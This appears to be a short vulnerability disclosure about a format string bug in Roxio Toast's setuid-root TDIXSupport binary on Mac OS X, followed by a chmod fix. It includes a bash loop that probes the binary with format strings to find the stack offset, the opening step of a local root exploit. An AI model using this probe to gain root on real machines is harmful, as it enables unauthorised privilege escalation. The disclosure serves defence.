Possible local root vulnerability in Roxio Toast on Mac OS X
By fintler <fintler@...il.com>

Summary:

There is a format string bug in the binary (/Library/Application
Support/Roxio/TDIXSupport). It is installed suid root by default and
may be exploited by finding the offset and overwriting the stack with
malicious instructions.

Example:
fintler@...en:/Library/Application Support/Roxio$ ls -l TDIXSupport 
-rwsr-sr-x  1 root  wheel  14260  5 Nov  2003 TDIXSupport
fintler@...en:/Library/Application Support/Roxio$ ./TDIXSupport

diagnostic output)

for((i=1;i<1000;i++));do echo -n "$i "&&./TDIXSupport
"AAAAAAAAAAAAAAAAAAAAAAA%$i\$x";done|grep 4141 2>/dev/null
etc...

Solution:
A possible way of fixing this issue is to change the permissions of
the binary to non-suid root by issuing the following command:
'sudo chmod 0755 /Library/Application Support/Roxio/TDIXSupport'
This will most likely disable some functionality of Toast.
